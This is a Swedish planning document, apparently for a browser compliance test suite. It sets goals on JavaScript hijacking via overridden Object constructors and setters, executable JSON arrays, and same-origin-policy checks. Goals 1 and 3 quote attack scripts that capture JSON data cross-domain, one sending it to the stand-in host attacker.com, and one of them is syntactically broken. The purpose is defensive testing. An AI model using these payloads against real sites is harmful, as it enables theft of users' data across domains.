Mål för browser compliance-projektet

Mål 1: JavaScript Hijacking med åsidosatt Object-konstuktor (specifik version)

Som webbsurfare och utvecklare av webbläsare

Vill jag att min webbläsare inte tillåter att Object-konstruktorn åsidosätts

Så att en CSRF-attack inte kan läsa JSON-svaret utan forsätter att vara en blind attack.

Detaljerad beskrivning av attacken
Så här beskriver JSON.org hur JSON-strukter kan omvandlas till JavaScript-objekt på klienten:

To convert a JSON text into an object, you can use the eval() function. eval() invokes the JavaScript compiler. Since JSON is a proper subset of JavaScript, the compiler will correctly parse the text and produce an object structure. The text must be wrapped in parens to avoid tripping on an ambiguity in JavaScript's syntax.

var myObject = eval('(' + myJSONtext + ')');

Antag nu att en klient hämtar JSON-formatterad, känslig data mha AJAX på följande sätt:

var object; 
var req = new XMLHttpRequest(); 
req.open("GET", "/object.json",true); 
req.onreadystatechange = function () { 
  if (req.readyState == 4) { 
    var txt = req.responseText; 
    object = eval("(" + txt + ")"); 
    req = null; 
  } 
}; 
req.send(null);

... och får svar som ser ut så här:

[{"fname":"Brian", "lname":"Chess", "phone":"6502135600", 
  "purchases":60000.00, "email":"brian@fortifysoftware.com" }]

... då kan en attackerare inkludera nedanstående skript på sin sajt och hämta ut den känsliga datan genom CSRF:

<script> 
// Åsidosätt JavaScript:s Object-konstruktor så att varje
// gång fältet "email" sätts så körs captureObject() som
// läcker information till attackeraren. Om "email" är det
// sista fältet i JSON-strukten (som ovan) så läcker hela
// informationsmängden.
function Object() { 
 this.email setter = captureObject; 
 
// Funktion för att skicka data till attackeraren.
function captureObject(x) { 
  var objString = ""; 
  for (fld in this) { 
    objString += fld + ": " + this[fld] + ", "; 
  } 
  objString += "email: " + x; 
  var req = new XMLHttpRequest(); 
  req.open("GET", "http://attacker.com?obj=" +  
           escape(objString),true); 
  req.send(null); 
</script> 
 
<!-- Cross-Site Request Forgery som iscensätter attacken --> 
<script src="http://www.example.com/object.json"></script> 

Detaljerad beskrivning av målet
Vår sajt ska försöka åsidosätta Object-konstruktorn på ovanstående sätt och läcka information mellan domäner. Om den lyckas så fallerar testfallet.



Mål 2: JavaScript Hijacking med åsidosatt Object-konstuktor (generell version)

Som webbsurfare och utvecklare av webbläsare

Vill jag att min webbläsare inte tillåter att Object-konstruktorn åsidosätts

Så att en CSRF-attack inte kan läsa JSON-svaret utan forsätter att vara en blind attack.

Detaljerad beskrivning av målet
Vi generaliserar problemet med åsidosättning av Object-konstruktorn och ser om vår konstruktor kan fås att göra dumheter för alla nya JavaScript-objekt.



Mål 3: JavaScript Hijacking med åsidosatt setter-funktion och exekvering av JSON-arrayer

Som webbsurfare

Vill jag att min webbläsare inte tillåter att setter-funktioner åsidosätts och/eller JSON-arrayer kan exekveras som kod

Så att en CSRF-attack inte kan läsa JSON-arrayer utan forsätter att vara en blind attack.

Detaljerad beskrivning av attacken
JSON-objekt är inte exekverbara, dvs en fil "SomeJson" som innehåller följande:

{"Id":1, "Balance":3.14}

... och refereras med:

<script src="http://example.com/SomeJson"></script>

Kommer ge ett felmeddelande. Men en JSON-array är exekverbar! Så samma fil med följande innehåll:

[{"Id":1,"Balance":3.14},{"Id":2,"Balance":2.72},{"Id":3,"Balance":1.62}]

... ger inget felmeddelande om det refereras som skript. Genom att attackeraren nu sätter upp en sajt med följande kod:

<script>
Object.prototype.__defineSetter__('Id', function(obj){captureObject(obj);});
</script>
<script src="http://vulnerable.example.com/Json">
</script>
<script src="http://example.com/SomeJson"></script>

... så åsidosätter han/hon först JavaScripts setter-funktion så att varje gång en property som heter "Id" sätts så skickas det till hans/hennes sajt. Sen är det bara att inkludera ett anrop som hämtar en JSON-array som exekveras och alltså sätter "Id". Enligt uppgift ska Chrome 2.0.172.31 och Firefox 3.0.11 vara sårbara för det här.

Detaljerad beskrivning av målet
Vår sajt ska försöka åsidosätta setter-funktionen på ovanstående sätt och läcka information mellan domäner. Den ska också exekvera en JSON-array. Om den lyckas så fallerar testfallet.


Mål 4: Snabba kontroller av Same Origin Policy compliance

Som webbsurfare och utvecklare av webbläsare

Vill jag vara säker på att grundläggande delar av Same Origin Policy uppfylls av min webbläsare

Så att enkla cross-domain-attacker omöjliggörs

Vanlig hederlig SOP, när sajter inte vill samarbeta

SOP innebär i princip att man får exekvera cross-domain, men inte läsa eller skriva. En webbsida från domän A:
  • Får exekvera skript från B
  • Får inte hämta källkoden till B:s skript
  • Får applicera (~exekvera) en CSS från B
  • Får inte hämta css:en i textform
  • Får inkludera (~exekvera) en frame med HTML från B
  • Får inte hämta ut "inre HTML" från den frame:en
  • Får inkludera (~exekvera) en bild från B
  • Får inte läsa bitarna från den bilden
Mål: Koda så många av ovanstående "tester" som möjligt.

När sajter vill samarbeta
  1. Sidor får sätta sin egen document.domain till valfri, komplett högerdel av sitt värdnamn (hostname). T ex en sajt på secure.omegapoint.se får sätta om sin document.domain till omegapoint.se men inte till cure.omegapoint.se eller point.se. Mål: Vi har med både positiva och negativa tester.
  2. Två sidor som enligt SOP bara skiljer sig på document.domain och som sätter ett gemensamt värde på den får tillgång till varann. Mål: Vi har med ett positivt test.
  3. En del webbläsare tillåter att man sätter document.domain till sin toppdomän, t ex sätter om secure.omegapoint.se till "se". En del tillåter till och med att man sätter den till "se." Mål: Vi har med dessa två negativa tester.
  4. AJAX-anrop får inte dela domän ens genom att sätta gemensam document.domain. IE8 har inkluderat ett sätt för sajter att tillåta anonyma anrop utan kakor. Mål: Vi har ett negativt test.
  5. AJAX-anrop bör inte få se HTTPOnly-kakor men får det i vissa webbläsare. Mål: Vi har ett negativt test.

Comments